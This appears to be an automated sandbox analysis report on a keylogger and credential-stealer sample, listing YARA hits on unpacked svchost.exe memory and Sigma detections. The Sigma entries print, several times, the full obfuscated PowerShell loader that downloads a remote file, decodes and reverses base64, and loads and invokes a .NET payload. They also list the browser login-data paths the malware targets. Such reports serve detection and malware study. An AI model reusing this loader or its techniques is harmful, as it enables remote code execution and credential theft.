13.2.svchost.exe.7990f20.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34e1a:$a1: get_encryptedPassword 0x34dee:$a2: get_encryptedUsername 0x34eb2:$a3: get_timePasswordChanged 0x34dca:$a4: get_passwordField 0x34e30:$a5: set_encryptedPassword 0x34bfd:$a7: get_logins 0x3048d:$a10: KeyLoggerEventArgs 0x3045c:$a11: KeyLoggerEventArgsEventHandler 0x34cd1:$a13: _encryptedPassword
13.2.svchost.exe.3374f2e.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3d30e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3c9b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3cc0e:$a4: \Orbitum\User Data\Default\Login Data 0x3d5ed:$a5: \Kometa\User Data\Default\Login Data
13.3.svchost.exe.326ff20.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.3.svchost.exe.326ff20.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
13.3.svchost.exe.326ff20.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
13.3.svchost.exe.326ff20.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3321a:$a1: get_encryptedPassword 0x331ee:$a2: get_encryptedUsername 0x332b2:$a3: get_timePasswordChanged 0x331ca:$a4: get_passwordField 0x33230:$a5: set_encryptedPassword 0x32ffd:$a7: get_logins 0x2e88d:$a10: KeyLoggerEventArgs 0x2e85c:$a11: KeyLoggerEventArgsEventHandler 0x330d1:$a13: _encryptedPassword
13.3.svchost.exe.326ff20.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3d30e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3c9b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3cc0e:$a4: \Orbitum\User Data\Default\Login Data 0x3d5ed:$a5: \Kometa\User Data\Default\Login Data
13.2.svchost.exe.7d50000.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34e1a:$a1: get_encryptedPassword 0x34dee:$a2: get_encryptedUsername 0x34eb2:$a3: get_timePasswordChanged 0x34dca:$a4: get_passwordField 0x34e30:$a5: set_encryptedPassword 0x34bfd:$a7: get_logins 0x3048d:$a10: KeyLoggerEventArgs 0x3045c:$a11: KeyLoggerEventArgsEventHandler 0x34cd1:$a13: _encryptedPassword
13.2.svchost.exe.3374f2e.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.svchost.exe.3374f2e.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.svchost.exe.3374f2e.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
13.2.svchost.exe.3374f2e.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
13.3.svchost.exe.326ff20.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.3.svchost.exe.326ff20.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.3.svchost.exe.326ff20.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
13.3.svchost.exe.326ff20.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
13.2.svchost.exe.3374f2e.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x30dd6:$s1: UnHook 0x30d72:$s2: SetHook 0x30dab:$s3: CallNextHook 0x30d3a:$s4: _hook
13.3.svchost.exe.326ff20.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34e1a:$a1: get_encryptedPassword 0x34dee:$a2: get_encryptedUsername 0x34eb2:$a3: get_timePasswordChanged 0x34dca:$a4: get_passwordField 0x34e30:$a5: set_encryptedPassword 0x34bfd:$a7: get_logins 0x3048d:$a10: KeyLoggerEventArgs 0x3045c:$a11: KeyLoggerEventArgsEventHandler 0x34cd1:$a13: _encryptedPassword
13.3.svchost.exe.326ff20.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x30dd6:$s1: UnHook 0x30d72:$s2: SetHook 0x30dab:$s3: CallNextHook 0x30d3a:$s4: _hook
13.2.svchost.exe.7d50000.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3ef0e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e5b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e80e:$a4: \Orbitum\User Data\Default\Login Data 0x3f1ed:$a5: \Kometa\User Data\Default\Login Data
13.2.svchost.exe.7d50000.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x329d6:$s1: UnHook 0x32972:$s2: SetHook 0x329ab:$s3: CallNextHook 0x3293a:$s4: _hook
13.3.svchost.exe.326f000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
13.2.svchost.exe.7990000.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35d3a:$a1: get_encryptedPassword 0x35d0e:$a2: get_encryptedUsername 0x35dd2:$a3: get_timePasswordChanged 0x35cea:$a4: get_passwordField 0x35d50:$a5: set_encryptedPassword 0x35b1d:$a7: get_logins 0x313ad:$a10: KeyLoggerEventArgs 0x3137c:$a11: KeyLoggerEventArgsEventHandler 0x35bf1:$a13: _encryptedPassword
13.2.svchost.exe.3374f2e.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34e1a:$a1: get_encryptedPassword 0x34dee:$a2: get_encryptedUsername 0x34eb2:$a3: get_timePasswordChanged 0x34dca:$a4: get_passwordField 0x34e30:$a5: set_encryptedPassword 0x34bfd:$a7: get_logins 0x3048d:$a10: KeyLoggerEventArgs 0x3045c:$a11: KeyLoggerEventArgsEventHandler 0x34cd1:$a13: _encryptedPassword
13.3.svchost.exe.326f000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.3.svchost.exe.326f000.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.3.svchost.exe.326f000.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
13.3.svchost.exe.326f000.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
13.3.svchost.exe.326ff20.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3ef0e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e5b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e80e:$a4: \Orbitum\User Data\Default\Login Data 0x3f1ed:$a5: \Kometa\User Data\Default\Login Data
13.2.svchost.exe.7d50000.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3321a:$a1: get_encryptedPassword 0x331ee:$a2: get_encryptedUsername 0x332b2:$a3: get_timePasswordChanged 0x331ca:$a4: get_passwordField 0x33230:$a5: set_encryptedPassword 0x32ffd:$a7: get_logins 0x2e88d:$a10: KeyLoggerEventArgs 0x2e85c:$a11: KeyLoggerEventArgsEventHandler 0x330d1:$a13: _encryptedPassword
13.2.svchost.exe.7d50000.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3d30e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3c9b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3cc0e:$a4: \Orbitum\User Data\Default\Login Data 0x3d5ed:$a5: \Kometa\User Data\Default\Login Data
13.2.svchost.exe.7990000.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3fe2e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3f4d1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3f72e:$a4: \Orbitum\User Data\Default\Login Data 0x4010d:$a5: \Kometa\User Data\Default\Login Data
13.2.svchost.exe.3374f2e.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3ef0e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e5b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e80e:$a4: \Orbitum\User Data\Default\Login Data 0x3f1ed:$a5: \Kometa\User Data\Default\Login Data
13.2.svchost.exe.7990f20.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3321a:$a1: get_encryptedPassword 0x331ee:$a2: get_encryptedUsername 0x332b2:$a3: get_timePasswordChanged 0x331ca:$a4: get_passwordField 0x33230:$a5: set_encryptedPassword 0x32ffd:$a7: get_logins 0x2e88d:$a10: KeyLoggerEventArgs 0x2e85c:$a11: KeyLoggerEventArgsEventHandler 0x330d1:$a13: _encryptedPassword
13.2.svchost.exe.7990f20.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3ef0e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3e5b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e80e:$a4: \Orbitum\User Data\Default\Login Data 0x3f1ed:$a5: \Kometa\User Data\Default\Login Data
13.2.svchost.exe.7990000.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3e02e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3d6d1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3d92e:$a4: \Orbitum\User Data\Default\Login Data 0x3e30d:$a5: \Kometa\User Data\Default\Login Data
13.3.svchost.exe.326f000.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35d3a:$a1: get_encryptedPassword 0x35d0e:$a2: get_encryptedUsername 0x35dd2:$a3: get_timePasswordChanged 0x35cea:$a4: get_passwordField 0x35d50:$a5: set_encryptedPassword 0x35b1d:$a7: get_logins 0x313ad:$a10: KeyLoggerEventArgs 0x3137c:$a11: KeyLoggerEventArgsEventHandler 0x35bf1:$a13: _encryptedPassword
13.3.svchost.exe.326f000.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3fe2e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3f4d1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3f72e:$a4: \Orbitum\User Data\Default\Login Data 0x4010d:$a5: \Kometa\User Data\Default\Login Data
13.3.svchost.exe.326ff20.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x329d6:$s1: UnHook 0x32972:$s2: SetHook 0x329ab:$s3: CallNextHook 0x3293a:$s4: _hook
13.3.svchost.exe.326f000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
13.2.svchost.exe.7d50000.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x30dd6:$s1: UnHook 0x30d72:$s2: SetHook 0x30dab:$s3: CallNextHook 0x30d3a:$s4: _hook
13.2.svchost.exe.7990000.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x338f6:$s1: UnHook 0x33892:$s2: SetHook 0x338cb:$s3: CallNextHook 0x3385a:$s4: _hook
13.3.svchost.exe.326f000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x33f3a:$a1: get_encryptedPassword 0x33f0e:$a2: get_encryptedUsername 0x33fd2:$a3: get_timePasswordChanged 0x33eea:$a4: get_passwordField 0x33f50:$a5: set_encryptedPassword 0x33d1d:$a7: get_logins 0x2f5ad:$a10: KeyLoggerEventArgs 0x2f57c:$a11: KeyLoggerEventArgsEventHandler 0x33df1:$a13: _encryptedPassword
13.2.svchost.exe.3374f2e.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x329d6:$s1: UnHook 0x32972:$s2: SetHook 0x329ab:$s3: CallNextHook 0x3293a:$s4: _hook
13.2.svchost.exe.7990f20.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3d30e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3c9b1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3cc0e:$a4: \Orbitum\User Data\Default\Login Data 0x3d5ed:$a5: \Kometa\User Data\Default\Login Data
13.2.svchost.exe.7990000.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x31af6:$s1: UnHook 0x31a92:$s2: SetHook 0x31acb:$s3: CallNextHook 0x31a5a:$s4: _hook
13.2.svchost.exe.7990f20.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x30dd6:$s1: UnHook 0x30d72:$s2: SetHook 0x30dab:$s3: CallNextHook 0x30d3a:$s4: _hook
13.3.svchost.exe.326f000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x338f6:$s1: UnHook 0x33892:$s2: SetHook 0x338cb:$s3: CallNextHook 0x3385a:$s4: _hook
13.3.svchost.exe.326f000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3e02e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3d6d1:$a3: \Google\Chrome\User Data\Default\Login Data 0x3d92e:$a4: \Orbitum\User Data\Default\Login Data 0x3e30d:$a5: \Kometa\User Data\Default\Login Data
13.2.svchost.exe.7990f20.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x329d6:$s1: UnHook 0x32972:$s2: SetHook 0x329ab:$s3: CallNextHook 0x3293a:$s4: _hook
13.3.svchost.exe.326f000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x31af6:$s1: UnHook 0x31a92:$s2: SetHook 0x31acb:$s3: CallNextHook 0x31a5a:$s4: _hook
Click to see the 75 entries

Other

Source	Rule	Description	Author	Strings
amsi64_3232.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_3232.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJI

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Source: Process started

Author: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) | . ( $pShoMe[4]+$PshoME[34]+'X')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/kl

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) | . ( $pShoMe[4]+$PshoME[34]+'X')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/kl

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = 